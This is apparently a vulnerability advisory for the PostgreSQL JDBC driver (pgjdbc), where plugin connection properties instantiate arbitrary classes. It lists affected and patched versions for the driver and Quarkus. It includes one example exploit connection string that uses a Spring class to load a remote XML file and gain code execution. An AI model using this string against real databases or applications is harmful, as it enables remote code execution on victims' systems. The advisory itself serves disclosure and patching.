| Package | Affected versions | Patched versions |
|---|---|---|
| org.postgresql:postgresql | ≥ 42.3.0, < 42.3.2≥ 9.4.1208, < 42.2.25 | 42.3.242.2.25 |
| postgresql jdbc driver | = 42.3.2≥ 42.3.0, < 42.3.2< 42.2.25 | 42.3.242.2.25 |
| quarkus | < 2.7.2 | 2.7.2 |
pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.
However, the driver did not verify if the class implements the expected interface before instantiating the class.
Here's an example attack using an out-of-the-box class from Spring Framework:
DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free